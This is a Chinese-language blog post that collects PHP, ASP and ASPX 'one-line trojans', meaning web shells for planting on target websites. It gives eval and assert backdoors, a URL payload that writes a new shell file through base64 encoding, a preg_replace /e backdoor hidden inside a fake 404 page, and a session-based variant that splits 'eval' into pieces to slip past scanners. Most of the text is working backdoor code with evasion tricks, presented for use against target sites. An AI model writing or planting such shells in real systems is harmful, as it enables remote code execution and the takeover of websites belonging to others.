PHP一句话木马整理

Posted by BY songjiu on April 3, 2019

如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。

PHP

PHP有一些危险的使用方式比如evalassert和正则匹配的e模式以及include函数

<?php @eval($_POST['pass']);?>

通过构建php表单pass,执行里面的语句

 < ?php assert ($_POST(value));?>

bool assert ( mixed $assertion [, Throwable $exception ] ) assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

变形

来自https://my.oschina.net/programs/blog/1649544

<?php $_GET['a']($_POST['b'])?>

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

利用e模式

正则表达式中的/e模式的作用是将替换串中的内容当作代码来执行,/e模式是php语言才有的,除此之外还有/i(不区分大小写)等。比如:

$precision = 2;
$subject = '看完《php从入门到精通》需要33.123456小时';
$str = preg_replace('/([\d|\.]+)/e', 'round($1, '.$precision.')', $subject);
echo $str;
//运行结果为:看完《php从入门到精通》需要33.12小时。即:33.123456被替换为round(33.123456, $precision)。

其中$1表示第一次匹配成功的部分。 可以利用这个写到404页面。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
	<head>
		<title>404 Not Found</title>
	</head>
	<body>
		<h1>Not Found</h1>
		<p>The requested URL was not found on this server.</p>
	</body>
</html>
<?php
	@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
	header('HTTP/1.1 404 Not Found');
?>

利用session

利用$_SEESION变量来绕过扫描,将$_POST[‘code’]赋值给$_SESSION[‘theCode’],然后eval执行SESSION的内容。eis分别为eis三种模式,e仍然为执行模式。

<?php

    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

其他

/*asp一句话木马*/
<%execute(request("value"))%>

/*aspx一句话木马*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>